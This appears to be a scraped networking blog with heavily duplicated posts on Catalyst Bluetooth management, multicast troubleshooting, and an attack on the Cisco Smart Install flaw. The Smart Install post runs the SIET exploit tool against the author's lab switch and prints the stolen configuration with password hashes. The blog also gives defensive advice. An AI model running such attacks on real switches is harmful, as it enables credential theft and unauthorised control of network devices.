This configures the interface and sets a Bluetooth paring PIN of 1111.
I enabled Bluetooth discovery on my iPhone. I saw a device with the hostname of switch and selected it. It connected but it doesn't show the IP address on the bluetooth info page.
Back on the switch I ran:
sh int bluetooth 0/4
Bluetooth0/4 is up, line protocol is up
Hardware is BT management port, address is 02bf.28f8.b1ed (bia 02bf.28f8.b1ed)
Internet address is 172.16.0.1/24
I opened Termius on my iPhone and created a host using 172.16.0.1. It connected to the switch and I was in!
On the terminal session on my laptop I saw:
000422: *Aug 25 15:40:08.370: %SEC_LOGIN-5-LOGIN_SUCCESS: Login Success [user: cisco] [Source: 172.16.0.2] [localport: 22] at 15:40:08 PDT Sun Aug 25 2019
show ip interface bluetooth 0/4 - Show IP information
show interface bluetooth 0/4 - Show interface information
show ip interface bluetooth 0/4
Bluetooth0/4 is up, line protocol is up
Internet address is 172.16.0.1/24
Broadcast address is 255.255.255.255
Address determined by configuration file
MTU is 1500 bytes
Helper address is not set
sh int bluetooth 0/4
Bluetooth0/4 is up, line protocol is up
Hardware is BT management port, address is 02bf.28f8.b1ed (bia 02bf.28f8.b1ed)
Internet address is 172.16.0.1/24
MTU 1500 bytes, BW 1000000 Kbit/sec, DLY 10 usec,
reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
Cisco's officially supported dongles
The following external USB Bluetooth dongles are supported:
BTD-400 Bluetooth 4.0 Adapter by Kinivo
Bluetooth 4.0 USB Adapter by Asus
Mini Bluetooth Wireless USB 4.0 Dongle Adapter by Adnet
Bluetooth 4.0 USB Adapter by Insignia
Configuring an External USB Bluetooth Dongle - Requires a Cisco CCO login
Linux bluetooth setup with bluez and hcitool
Bluetooth Page Scan
Bluetooth Basic - Sparkfun
The connected dongle acts as a Bluetooth host and serves as a management port connection on the device.
Being able to log on wirelessly using a tiny USB dongle seemed worth some time to figure out. I have an Air-console and it works great but it has to be charged, have a serial to USB cable and is larger than a USB Dongle.
Where to get a Bluetooth USB dongle
I had my Air-Console laying on the table and remembered that it has a USB Bluetooth dongle. I popped it into my Ubuntu laptop and ran "lsusb" to see what chipset it had:
lsusb
Bus 001 Device 012: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode)
That is a very common chipset and USB dongles with that chipset are available on ebay for around $4. Search for "CSR 4.0 dongle". If it works on the C9500 that would be great.
Linux has great terminal tools for working with Bluetooth devices. One of them is hciconfig. I ran it to see if the dongle was working on Ubuntu and it was:
hciconfig
hci1: Type: Primary Bus: USB
BD Address: 02:BF:28:F8:B1:ED ACL MTU: 310:10 SCO MTU: 64:8
UP RUNNING
RX bytes:730 acl:0 sco:0 events:56 errors:0
TX bytes:4877 acl:0 sco:0 commands:56 errors:0
My laptop has Bluetooth built in and it mounts as hci0 so the dongle mounted as hci1. You can see the dongle is working.
Does it work on the C9500
After inserting the dongle I ran:show platform hardware bluetooth
Controller: 2:bf:28:f8:b1:ed
Type: Primary
Bus: USB
State: UP RUNNING PSCAN ISCAN
Name: BOED-C9500
HCI Version: 4.0
Looks like the dongle from the Air-Console will work and I can use the $4 dongles off ebay. Notice that the switch reports HCI Version 4.0. HCI stands for Host Controller Interface and is the protocol that allows communiction between the host and the controller (Chipset).
The PSCAN means Page Scan and ISCAN means Inquiry scan. See the links in the refeences below for more information.
One thing to note: If you run:
show interface bluetooth 0/4
and there isn't an active Bluetooth connection, it will show Down/Down. You have to use the "show platform hardware bluetooth" to see if the dongle is up.
Configuring the switch
config tinterface bluetooth 0/4
enable
no shut
exit
bluetooth pin 1111
end
wr
This configures the interface and sets a Bluetooth paring PIN of 1111.
I enabled Bluetooth discovery on my iPhone. I saw a device with the hostname of switch and selected it. It connected but it doesn't show the IP address on the bluetooth info page.
Back on the switch I ran:
sh int bluetooth 0/4
Bluetooth0/4 is up, line protocol is up
Hardware is BT management port, address is 02bf.28f8.b1ed (bia 02bf.28f8.b1ed)
Internet address is 172.16.0.1/24
I opened Termius on my iPhone and created a host using 172.16.0.1. It connected to the switch and I was in!
On the terminal session on my laptop I saw:
000422: *Aug 25 15:40:08.370: %SEC_LOGIN-5-LOGIN_SUCCESS: Login Success [user: cisco] [Source: 172.16.0.2] [localport: 22] at 15:40:08 PDT Sun Aug 25 2019
Some useful show commands
show platform hardware bluetooth - Show information about the dongleshow ip interface bluetooth 0/4 - Show IP information
show interface bluetooth 0/4 - Show interface information
show ip interface bluetooth 0/4
Bluetooth0/4 is up, line protocol is up
Internet address is 172.16.0.1/24
Broadcast address is 255.255.255.255
Address determined by configuration file
MTU is 1500 bytes
Helper address is not set
sh int bluetooth 0/4
Bluetooth0/4 is up, line protocol is up
Hardware is BT management port, address is 02bf.28f8.b1ed (bia 02bf.28f8.b1ed)
Internet address is 172.16.0.1/24
MTU 1500 bytes, BW 1000000 Kbit/sec, DLY 10 usec,
reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
References
Cisco's officially supported dongles
The following external USB Bluetooth dongles are supported:
BTD-400 Bluetooth 4.0 Adapter by Kinivo
Bluetooth 4.0 USB Adapter by Asus
Mini Bluetooth Wireless USB 4.0 Dongle Adapter by Adnet
Bluetooth 4.0 USB Adapter by Insignia
Configuring an External USB Bluetooth Dongle - Requires a Cisco CCO login
Linux bluetooth setup with bluez and hcitool
Bluetooth Page Scan
Bluetooth Basic - Sparkfun
Michael earned his first IT certification, a Novell Certified Netware Engineer (CNE) in 1993. Michael then focused on the Microsoft MCSE credential, studied database design, and wrote several Visual Basic programs to automate production at a manufacturing company.
In 2000 he earned the Cisco CCNA. Since then, Michael has earned Cisco’s security certification, Aruba’s switching certification, and the LPI’s Linux Essentials certification.
Monday, May 20, 2019
Attacking the Cisco Smart Install Vulnerability
The Cisco Smart Install service has been around for a long time, at least back to IOS 12.2.55. It suffers from a serious security vulnerability that allows an unauthenticated user to download the configuration or execute commands on the switch. Cisco released updates in late 2018 to resolve the issue but there are probably millions of switches out there that haven't been upgraded yet.
Here is an article from the guys that found the exploit https://embedi.org/blog/cisco-smart-install-remote-code-execution/. Their PoC code crashes the switch. As always, a crash is the first step in developing a usable exploit.
They list the following models as vulnerable:
Notice it includes the Industrial Ethernet series. That's unfortunate given that those switches are likely to be in industrial plants and other locations where an attacker can do real physical damage.
My advice is to add "no vstack" to your deployment template unless you are actually using Smart Install. Also, as a Cisco best practice, the switch's management plane should be on a vlan that is only accessible to trusted users.
There is a working exploit available from this github repository - SIET.
As you can see in the exploit description, there are several things you can do:
-t test device for smart install.
-g get device config.
-c change device config.
-u update device IOS.
-e execute commands in the device's console.
-i ip address of target device
-l ip list of targets (file path)
--thread-count number of threads to be spawned
->sudo python siet.py -t -i 192.168.10.52
[INFO]: Sending TCP packet to 192.168.10.52
[INFO]: Smart Install Client feature active on 192.168.10.52
[INFO]: 192.168.10.52 is affected
If you are logged into a switch there are a couple quick ways to verify
3750x#sh tcp brief all
TCB Local Address Foreign Address (state)
078C6E60 192.168.10.52.22 192.168.10.183.50902 ESTAB
07B162A8 *.4786 *.* LISTEN
06FA06BC *.443 *.* LISTEN
06F9FCFC *.443 *.* LISTEN
06F9F33C *.80 *.* LISTEN
06F9E97C *.80 *.* LISTEN
So Smart Install is running on a 3750-x in my lab. The switch is running c3750e-universalk9-mz.150-2.SE10. I started out with c3750e-universalk9-tar.152-4.E7 but the switch would reload when I ran the tool with Smart Install enabled. Once I installed c3750e-universalk9-mz.150-2.SE10 I was able to download the full configuration without any credentials or SNMP RW string.
Here is an article from the guys that found the exploit https://embedi.org/blog/cisco-smart-install-remote-code-execution/. Their PoC code crashes the switch. As always, a crash is the first step in developing a usable exploit.
They list the following models as vulnerable:
- Catalyst 4500 Supervisor Engines
- Catalyst 3850 Series
- Catalyst 3750 Series
- Catalyst 3650 Series
- Catalyst 3560 Series
- Catalyst 2960 Series
- Catalyst 2975 Series
- IE 2000
- IE 3000
- IE 3010
- IE 4000
- IE 4010
- IE 5000
- SM-ES2 SKUs
- SM-ES3 SKUs
- NME-16ES-1G-P
- SM-X-ES3 SKUs
Notice it includes the Industrial Ethernet series. That's unfortunate given that those switches are likely to be in industrial plants and other locations where an attacker can do real physical damage.
My advice is to add "no vstack" to your deployment template unless you are actually using Smart Install. Also, as a Cisco best practice, the switch's management plane should be on a vlan that is only accessible to trusted users.
There is a working exploit available from this github repository - SIET.
As you can see in the exploit description, there are several things you can do:
-t test device for smart install.
-g get device config.
-c change device config.
-u update device IOS.
-e execute commands in the device's console.
-i ip address of target device
-l ip list of targets (file path)
--thread-count number of threads to be spawned
Let's exploit a switch
As always, do not run this on a switch you don't own or have explicit written permission to.Is vstack running?
The tool can quickly check->sudo python siet.py -t -i 192.168.10.52
[INFO]: Sending TCP packet to 192.168.10.52
[INFO]: Smart Install Client feature active on 192.168.10.52
[INFO]: 192.168.10.52 is affected
If you are logged into a switch there are a couple quick ways to verify
3750x#sh tcp brief all
TCB Local Address Foreign Address (state)
078C6E60 192.168.10.52.22 192.168.10.183.50902 ESTAB
07B162A8 *.4786 *.* LISTEN
06FA06BC *.443 *.* LISTEN
06F9FCFC *.443 *.* LISTEN
06F9F33C *.80 *.* LISTEN
06F9E97C *.80 *.* LISTEN
Having port 4786 open means Smart Install is running.
or
3750x#sh vstack config
Role: Client (SmartInstall enabled)
Vstack Director IP address: 0.0.0.0
*** Following configurations will be effective only on director ***
Vstack default management vlan: 1
Vstack start-up management vlan: 1
Vstack management Vlans: none
Join Window Details:
Window: Open (default)
Operation Mode: auto (default)
Vstack Backup Details:
Mode: On (default)
Repository:
Note that is says "Vstack default management vlan: 1" but I am successfully attacking on vlan 10.
So Smart Install is running on a 3750-x in my lab. The switch is running c3750e-universalk9-mz.150-2.SE10. I started out with c3750e-universalk9-tar.152-4.E7 but the switch would reload when I ran the tool with Smart Install enabled. Once I installed c3750e-universalk9-mz.150-2.SE10 I was able to download the full configuration without any credentials or SNMP RW string.
NOTE: The tool uses its own python tftp server so it will fail if you already have a tftp server running. In my case I had just uploaded the 15.2.SE10 firmware and the tftp server was running. It took me a minute to figure out why the tool was failing:
[INFO]: binding socket .. error: [Errno 98] Address already in use
First, let's see who's logged into the switch
3750x#who
Line User Host(s) Idle Location
* 1 vty 0 mhubbard idle 00:00:00 192.168.10.183
What type of authentication is in use
3750x#sh run | sec aaa
aaa new-model
aaa group server radius ISE-group
server name ISE
!
3750x#test aaa group ISE-group mhubbard ************** new-code
User successfully authenticated
USER ATTRIBUTES
service-type 0 7 [NAS Prompt]
Framed-Protocol 0 1 [PPP]
service-type 0 2 [Framed]
priv-lvl 0 15 (0xF)
So the switch is using RADIUS authentication and is connected to the RADIUS Server. I know that for sure because my account password had expired and I had to log into my Windows server and change it before I could log into the switch!
Download the configuration without any credentials
Run the Smart Install Exploitation Tool with the "-g" flag to download the configuration:
~/Dropbox/03_Tools/SIET$
->sudo python siet.py -g -i 192.168.10.52
-= DvK =- TFTP server 2017(p)
[INFO]: Directory already exists. OK.
[INFO]: binding socket .. ok
[INFO]: Sending TCP packet to 192.168.10.52
[INFO]: Package send success to 192.168.10.52:
[INFO]: Getting config done
[INFO]: All done! Waiting 60 seconds for end of connections...
[INFO]: connect from 192.168.10.52 58422
[INFO]:[192.168.10.52] puting file 192.168.10.52.conf octet
[INFO]:[192.168.10.52]:[put] success binding data port 44000
[INFO]:[192.168.10.52]:[put] file tftp/192.168.10.52.conf finish download, size: 14351
Show the file in SIET's tftp folder
mhubbard@1S1K-G5-5587:~/Dropbox/03_Tools/SIET/tftp$
->ls -l
total 20
-rw-r--r-- 1 root root 14351 May 19 21:53 192.168.10.52.conf
-rw-r--r-- 1 root root 51 Mar 5 14:33 execute.txt
Display the configuration that was downloaded
cat 192.168.10.52.conf
!
! No configuration change since last restart
!
version 15.0
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
!
hostname 3750x
!
boot-start-marker
boot-end-marker
!
!
enable secret 5 $1$Ew15$ZstYXs4B38G/T710NavOV1
!
username cisco privilege 15 secret 5 $1$llTp$rNcLr9Y7GkG/zVmOdHNVR1
username hubbard privilege 15 secret 5 $1$5WVT$zWpFHuH2/FdDcQlOOchfS1
aaa new-model
!
!
aaa group server radius ISE-group
server name ISE
!
Conclusion
Cisco Smart Install is very useful if you support remote sites without IT staff but you must be aware of this vulnerability. If you use the Cisco best practice of ACLing the management plane to only a trusted network you are probably not at much risk until you upgrade.
Speaking of Cisco best practices, the guys that wrote SIET also write a fantastic tool called the Cisco Configuration Analysis Tool (CCAT). It takes your switch config and runs it against the "Hardening Cisco IOS Devices" document and shows all the best practices that you are running and more importantly, any that you are missing.
You can check out the CCAT here
Michael earned his first IT certification, a Novell Certified Netware Engineer (CNE) in 1993. Michael then focused on the Microsoft MCSE credential, studied database design, and wrote several Visual Basic programs to automate production at a manufacturing company.
In 2000 he earned the Cisco CCNA. Since then, Michael has earned Cisco’s security certification, Aruba’s switching certification, and the LPI’s Linux Essentials certification.
Saturday, April 6, 2019
Troubleshooting Multicast Routing
Mulitcast is used for applications like paging and bell systems (Bogen and Valcom for example) and Apple Airplay for screen sharing and Airprint for printing as well as many others. On home networks with one VLAN there are seldom any issues getting the multicast applications to work.
In an enterprise network with multiple VLANs, the switch must be configured for multicast to be routed correctly. Troubleshooting multicast issues can be time-consuming and without some tools almost impossible.
Linux has several terminal commands for checking Multicast status of an interface:
ip maddr show - list all multicast interfaces
Example:
ip maddr show
1: lo
inet 224.0.0.251
inet 224.0.0.1
2: wlp0s20f3
inet 224.0.0.251 users 4
inet 224.0.0.1
ip addr show <interface> - Look for MULTICAST
Example:
ip addr show wlp0s20f3
3: wlp0s20f3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
ip link show <interface> | grep MULTICAST
Example:
ip link show wlp0s20f3 | grep MULTICAST
3: wlp0s20f3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP mode DORMANT group default qlen 1000
netstat -g - Lists all multicast interfaces
Example:
netstat -g
IPv6/IPv4 Group Memberships
Interface RefCnt Group
--------------- ------ ---------------------
lo 1 224.0.0.251
lo 1 all-systems.mcast.net
enp60s0 1 all-systems.mcast.net
wlp0s20f3 4 224.0.0.251
wlp0s20f3 1 all-systems.mcast.net
-I - interface is either an address, or an interface name. If interface is an address, it sets source address to specified interface address. If interface is an interface name, it sets source interface to specified interface.
-t - ttl ping only. Set the IP Time to Live.
-c - Count
On Linux, there are several free open source tools available for testing multicast. In this blog, I am going to demonstrate two tools
mcjoin - Simple multicast testing application for UNIX
omping - Open Multicast ping
The lab consists of:
Cisco 3750x switch running c3750e-universalk9-mz.152-3.E1 with an IP Services license
Ubuntu 18.04 laptop with IP Address 10.112.40.1/23
Ubuntu 18.04 laptop with IP Address 192.168.10.183/24
Vlan 10 - 192.168.10.0/24
Vlan 46 - 10.112.40.0.23
an optional multicast generator (server)
an end device that can act as a data sink (client)
supports joining one or more groups:
ASM (*,G) support
SSM (S,G) support
IPv4
IPv6
The manual page for mcjoin is very good. Open it by running
man mcjoin
Receiver - 10.112.40.1/23 Vlan46
sender$ mcjoin -s
receiver$ mcjoin
joined group 225.1.2.3 on eth0 ...
..................................................................
Received total: 66 packets
receiver$
In this example, you start mcjoin on the sender laptop with the -s switch and mcjoin with no options on the receiver laptop. After 30 seconds or so press ctrl+c to stop the process. If multicast was successful you see the number of packets that were received.
On the sender
./mcjoin -s 233.252.0.1+5
On the Receiver
./mcjoin -t3 -i wlp0s20f3 233.252.0.1+5
joined group 233.252.0.1 on wlp0s20f3 ...
joined group 233.252.0.2 on wlp0s20f3 ...
joined group 233.252.0.3 on wlp0s20f3 ...
joined group 233.252.0.4 on wlp0s20f3 ...
joined group 233.252.0.5 on wlp0s20f3 ...
..................................^C
Group 233.252.0.1 received 40 packets
Group 233.252.0.2 received 40 packets
Group 233.252.0.3 received 40 packets
Group 233.252.0.4 received 40 packets
Group 233.252.0.5 received 40 packets
Received total: 200 packets
Install omping
https://github.com/troglobit/omping/
Simple example with two hosts. You can use more than two hosts.
Run the following on both laptops
./omping 10.112.40.1 192.168.10.183
10.112.40.1 : waiting for response msg
10.112.40.1 : joined (S,G) = (*, 232.43.211.234), pinging
10.112.40.1 : unicast, seq=1, size=69 bytes, dist=1, time=1.669ms
10.112.40.1 : unicast, seq=2, size=69 bytes, dist=1, time=3.906ms
10.112.40.1 : multicast, seq=2, size=69 bytes, dist=1, time=4.177ms
10.112.40.1 : unicast, seq=3, size=69 bytes, dist=1, time=3.564ms
10.112.40.1 : multicast, seq=3, size=69 bytes, dist=1, time=3.860ms
^C
10.112.40.1 : unicast, xmt/rcv/%loss = 3/3/0%, min/avg/max/std-dev = 1.669/3.046/3.906/1.205
10.112.40.1 : multicast, xmt/rcv/%loss = 3/2/33% (seq>=2 0%), min/avg/max/std-dev = 3.860/4.019/4.177/0.224
sh ip igmp groups
IGMP Connected Group Membership
Group Address Interface Uptime Expires Last Reporter Group Accounted
233.89.188.1 Vlan10 02:12:24 00:02:37 192.168.10.50
239.255.255.254 Vlan10 02:12:24 00:02:41 192.168.10.221
239.255.255.250 Vlan10 02:12:25 00:02:40 192.168.10.239
232.43.211.234 Vlan10 00:00:02 00:02:57 192.168.10.183
232.43.211.234 Vlan46 00:00:13 00:02:46 10.112.40.1
224.0.1.60 Vlan10 02:12:24 00:02:43 192.168.10.239
224.0.1.40 Vlan10 01:52:28 00:02:36 192.168.10.52
224.0.1.140 Vlan10 02:12:24 00:02:39 192.168.10.254
./omping -m 233.252.0.1 -p 9106 10.112.40.1 192.168.10.183
10.112.40.1 : waiting for response msg
10.112.40.1 : waiting for response msg
10.112.40.1 : joined (S,G) = (*, 233.252.0.1), pinging
10.112.40.1 : unicast, seq=1, size=69 bytes, dist=1, time=1.574ms
10.112.40.1 : multicast, seq=1, size=69 bytes, dist=1, time=53.798ms
10.112.40.1 : unicast, seq=2, size=69 bytes, dist=1, time=2.608ms
10.112.40.1 : multicast, seq=2, size=69 bytes, dist=1, time=2.608ms
10.112.40.1 : unicast, seq=3, size=69 bytes, dist=1, time=1.679ms
10.112.40.1 : multicast, seq=3, size=69 bytes, dist=1, time=1.809ms
10.112.40.1 : unicast, seq=4, size=69 bytes, dist=1, time=1.595ms
10.112.40.1 : multicast, seq=4, size=69 bytes, dist=1, time=1.901ms
10.112.40.1 : unicast, seq=5, size=69 bytes, dist=1, time=1.811ms
10.112.40.1 : multicast, seq=5, size=69 bytes, dist=1, time=2.043ms
10.112.40.1 : waiting for response msg
10.112.40.1 : server told us to stop
10.112.40.1 : unicast, xmt/rcv/%loss = 5/5/0%, min/avg/max/std-dev = 1.574/1.853/2.608/0.432
10.112.40.1 : multicast, xmt/rcv/%loss = 5/5/0%, min/avg/max/std-dev = 1.809/12.432/53.798/23.126
On the switch
sh ip igmp groups
IGMP Connected Group Membership
Group Address Interface Uptime Expires Last Reporter Group Accounted
233.89.188.1 Vlan10 02:13:26 00:02:34 192.168.10.50
239.255.255.254 Vlan10 02:13:26 00:02:33 192.168.10.221
239.255.255.250 Vlan10 02:13:27 00:02:40 192.168.10.239
233.252.0.1 Vlan10 00:00:09 00:00:01 192.168.10.183
233.252.0.1 Vlan46 00:00:13 00:02:46 10.112.40.1
224.0.1.60 Vlan10 02:13:27 00:02:37 192.168.10.239
224.0.1.40 Vlan10 01:53:31 00:02:41 192.168.10.52
224.0.1.140 Vlan10 02:13:26 00:02:36 192.168.10.254
In an enterprise network with multiple VLANs, the switch must be configured for multicast to be routed correctly. Troubleshooting multicast issues can be time-consuming and without some tools almost impossible.
Linux has several terminal commands for checking Multicast status of an interface:
ip maddr show - list all multicast interfaces
Example:
ip maddr show
1: lo
inet 224.0.0.251
inet 224.0.0.1
2: wlp0s20f3
inet 224.0.0.251 users 4
inet 224.0.0.1
Example:
ip addr show wlp0s20f3
3: wlp0s20f3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
Example:
ip link show wlp0s20f3 | grep MULTICAST
3: wlp0s20f3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP mode DORMANT group default qlen 1000
Enable/Disable Multicast
sudo ip link set dev <interface> multicast [on|off]netstat -g - Lists all multicast interfaces
Example:
netstat -g
IPv6/IPv4 Group Memberships
Interface RefCnt Group
--------------- ------ ---------------------
lo 1 224.0.0.251
lo 1 all-systems.mcast.net
enp60s0 1 all-systems.mcast.net
wlp0s20f3 4 224.0.0.251
wlp0s20f3 1 all-systems.mcast.net
Pinging Multicast groups
ping -r -I wlp0s20f3 -t 1 -c 2 224.0.0.1
PING 224.0.0.1 (224.0.0.1) from 192.168.10.183 wlp0s20f3: 56(84) bytes of data.
64 bytes from 192.168.10.52: icmp_seq=1 ttl=255 time=3.89 ms
64 bytes from 192.168.10.50: icmp_seq=1 ttl=64 time=4.20 ms (DUP!)
64 bytes from 192.168.10.51: icmp_seq=1 ttl=64 time=5.50 ms (DUP!)
64 bytes from 192.168.10.50: icmp_seq=2 ttl=64 time=1.55 ms
-r - Bypass the normal routing tables and send directly to a host on an attached interface. If the host is not on a directly-attached network, an error is returned. This option can be used to ping a local host through an interface that has no route through it provided the option -I is also used.
-I - interface is either an address, or an interface name. If interface is an address, it sets source address to specified interface address. If interface is an interface name, it sets source interface to specified interface.
-t - ttl ping only. Set the IP Time to Live.
-c - Count
On Linux, there are several free open source tools available for testing multicast. In this blog, I am going to demonstrate two tools
mcjoin - Simple multicast testing application for UNIX
omping - Open Multicast ping
The lab consists of:
Cisco 3750x switch running c3750e-universalk9-mz.152-3.E1 with an IP Services license
Ubuntu 18.04 laptop with IP Address 10.112.40.1/23
Ubuntu 18.04 laptop with IP Address 192.168.10.183/24
Vlan 10 - 192.168.10.0/24
Vlan 46 - 10.112.40.0.23
m c j o i n - tiny multicast testing tool
mcjoin is a very simple and easy-to-use tool to test IPv4 and IPv6 multicast. it features:an optional multicast generator (server)
an end device that can act as a data sink (client)
supports joining one or more groups:
ASM (*,G) support
SSM (S,G) support
IPv4
IPv6
Installing mcjoin
Download mcjoin_2.4_amd64.deb from mcjoin releases and double click to install.The manual page for mcjoin is very good. Open it by running
man mcjoin
Simple usage example
Sender - 192.160.10.183/24 Vlan 10Receiver - 10.112.40.1/23 Vlan46
sender$ mcjoin -s
receiver$ mcjoin
joined group 225.1.2.3 on eth0 ...
..................................................................
Received total: 66 packets
receiver$
In this example, you start mcjoin on the sender laptop with the -s switch and mcjoin with no options on the receiver laptop. After 30 seconds or so press ctrl+c to stop the process. If multicast was successful you see the number of packets that were received.
A more advanced example
Say you want to verify that your topology can forward 5 consecutive groups in the MCAST_TEST_NET, as defined in RFC5771. Simply add the following as a standalone argument to both the receiver and the sender: 233.252.0.1+5.On the sender
./mcjoin -s 233.252.0.1+5
On the Receiver
./mcjoin -t3 -i wlp0s20f3 233.252.0.1+5
joined group 233.252.0.1 on wlp0s20f3 ...
joined group 233.252.0.2 on wlp0s20f3 ...
joined group 233.252.0.3 on wlp0s20f3 ...
joined group 233.252.0.4 on wlp0s20f3 ...
joined group 233.252.0.5 on wlp0s20f3 ...
..................................^C
Group 233.252.0.1 received 40 packets
Group 233.252.0.2 received 40 packets
Group 233.252.0.3 received 40 packets
Group 233.252.0.4 received 40 packets
Group 233.252.0.5 received 40 packets
Received total: 200 packets
Using omping (open multicast ping)
omping is available from the same github site as mcjoin.Install omping
https://github.com/troglobit/omping/
Simple example with two hosts. You can use more than two hosts.
Run the following on both laptops
./omping 10.112.40.1 192.168.10.183
10.112.40.1 : waiting for response msg
10.112.40.1 : joined (S,G) = (*, 232.43.211.234), pinging
10.112.40.1 : unicast, seq=1, size=69 bytes, dist=1, time=1.669ms
10.112.40.1 : unicast, seq=2, size=69 bytes, dist=1, time=3.906ms
10.112.40.1 : multicast, seq=2, size=69 bytes, dist=1, time=4.177ms
10.112.40.1 : unicast, seq=3, size=69 bytes, dist=1, time=3.564ms
10.112.40.1 : multicast, seq=3, size=69 bytes, dist=1, time=3.860ms
^C
10.112.40.1 : unicast, xmt/rcv/%loss = 3/3/0%, min/avg/max/std-dev = 1.669/3.046/3.906/1.205
10.112.40.1 : multicast, xmt/rcv/%loss = 3/2/33% (seq>=2 0%), min/avg/max/std-dev = 3.860/4.019/4.177/0.224
On the Switch
IGMP Connected Group Membership
Group Address Interface Uptime Expires Last Reporter Group Accounted
233.89.188.1 Vlan10 02:12:24 00:02:37 192.168.10.50
239.255.255.254 Vlan10 02:12:24 00:02:41 192.168.10.221
239.255.255.250 Vlan10 02:12:25 00:02:40 192.168.10.239
232.43.211.234 Vlan10 00:00:02 00:02:57 192.168.10.183
232.43.211.234 Vlan46 00:00:13 00:02:46 10.112.40.1
224.0.1.60 Vlan10 02:12:24 00:02:43 192.168.10.239
224.0.1.40 Vlan10 01:52:28 00:02:36 192.168.10.52
224.0.1.140 Vlan10 02:12:24 00:02:39 192.168.10.254
Using omping to test multicast with a specified multicast IP and port
From 192.168.10.183./omping -m 233.252.0.1 -p 9106 10.112.40.1 192.168.10.183
10.112.40.1 : waiting for response msg
10.112.40.1 : waiting for response msg
10.112.40.1 : joined (S,G) = (*, 233.252.0.1), pinging
10.112.40.1 : unicast, seq=1, size=69 bytes, dist=1, time=1.574ms
10.112.40.1 : multicast, seq=1, size=69 bytes, dist=1, time=53.798ms
10.112.40.1 : unicast, seq=2, size=69 bytes, dist=1, time=2.608ms
10.112.40.1 : multicast, seq=2, size=69 bytes, dist=1, time=2.608ms
10.112.40.1 : unicast, seq=3, size=69 bytes, dist=1, time=1.679ms
10.112.40.1 : multicast, seq=3, size=69 bytes, dist=1, time=1.809ms
10.112.40.1 : unicast, seq=4, size=69 bytes, dist=1, time=1.595ms
10.112.40.1 : multicast, seq=4, size=69 bytes, dist=1, time=1.901ms
10.112.40.1 : unicast, seq=5, size=69 bytes, dist=1, time=1.811ms
10.112.40.1 : multicast, seq=5, size=69 bytes, dist=1, time=2.043ms
10.112.40.1 : waiting for response msg
10.112.40.1 : server told us to stop
10.112.40.1 : unicast, xmt/rcv/%loss = 5/5/0%, min/avg/max/std-dev = 1.574/1.853/2.608/0.432
10.112.40.1 : multicast, xmt/rcv/%loss = 5/5/0%, min/avg/max/std-dev = 1.809/12.432/53.798/23.126
On the switch
sh ip igmp groups
IGMP Connected Group Membership
Group Address Interface Uptime Expires Last Reporter Group Accounted
233.89.188.1 Vlan10 02:13:26 00:02:34 192.168.10.50
239.255.255.254 Vlan10 02:13:26 00:02:33 192.168.10.221
239.255.255.250 Vlan10 02:13:27 00:02:40 192.168.10.239
233.252.0.1 Vlan10 00:00:09 00:00:01 192.168.10.183
233.252.0.1 Vlan46 00:00:13 00:02:46 10.112.40.1
224.0.1.60 Vlan10 02:13:27 00:02:37 192.168.10.239
224.0.1.40 Vlan10 01:53:31 00:02:41 192.168.10.52
224.0.1.140 Vlan10 02:13:26 00:02:36 192.168.10.254
Switch Configuration
3750x(config)#ip multicast-routing distributed
interface vl 10
ip address 192.168.10.52 255.255.255.0
no ip redirects
ip pim sparse-mode
end
interface Vlan46
ip address 10.112.41.254 255.255.254.0
ip helper-address 192.168.10.221
ip pim sparse-mode
end
Create a loopback to use as the rendezvous point (RP)
interface Loopback0
ip address 10.10.10.10 255.255.255.255
end
Create the Rendevouz point (RP)
ip pim rp-address 10.10.10.10
Show the rendezvous point
sh ip pim rp
Group: 233.89.188.1, RP: 10.10.10.10, next RP-reachable never
Group: 239.255.255.254, RP: 10.10.10.10, next RP-reachable never
Group: 239.255.255.250, RP: 10.10.10.10, next RP-reachable never
Group: 233.252.0.1, RP: 10.10.10.10, next RP-reachable never
Group: 224.0.1.60, RP: 10.10.10.10, next RP-reachable never
Group: 224.0.1.40, RP: 10.10.10.10, next RP-reachable never
Group: 224.0.1.140, RP: 10.10.10.10, next RP-reachable never
sh ip multicast
Multicast Routing: enabled
Multicast Multipath: disabled
Multicast Route limit: No limit
Multicast Fallback group mode: Dense
Number of multicast boundaries configured with filter-autorp option: 0
MoFRR: Disabled
From the Cisco multicast manual - Mulitcast configuration on an SVI
An SVI—A VLAN interface created by using the interface vlan vlan-id global configuration command. You will also need to enable IP PIM sparse-dense-mode on the VLAN, join the VLAN as a statically connected member to an IGMP static group, and then enable IGMP snooping on the VLAN, the IGMP static group, and physical interface. These interfaces must have IP addresses assigned to them.
sparse-mode - Enables sparse mode of operation. If you configure sparse mode, you must also configure an RP.
sh ip igmp snooping
Global IGMP Snooping configuration:
-------------------------------------------
IGMP snooping : Enabled
IGMPv3 snooping (minimal) : Enabled
Report suppression : Enabled
TCN solicit query : Disabled
TCN flood PortFast : Disabled
TCN flood query count : 2
Robustness variable : 2
Last member query count : 2
Last member query interval : 1000
Vlan 10:
--------
IGMP snooping : Enabled
IGMPv2 immediate leave : Disabled
Multicast router learning mode : pim-dvmrp
CGMP interoperability mode : IGMP_ONLY
Robustness variable : 2
Last member query count : 2
Last member query interval : 1000
Vlan 46:
--------
IGMP snooping : Enabled
IGMPv2 immediate leave : Disabled
Multicast router learning mode : pim-dvmrp
CGMP interoperability mode : IGMP_ONLY
Robustness variable : 2
Last member query count : 2
Last member query interval : 1000
References
Multicast testing, made easy!
How can I know if IP Multicast is enabled
Multicast Driver Testing Quick How-To v 0.3
10 “ping” Command Usage Examples in Linux
How can I know if IP Multicast is enabled
Multicast Driver Testing Quick How-To v 0.3
10 “ping” Command Usage Examples in Linux
Michael earned his first IT certification, a Novell Certified Netware Engineer (CNE) in 1993. Michael then focused on the Microsoft MCSE credential, studied database design, and wrote several Visual Basic programs to automate production at a manufacturing company.
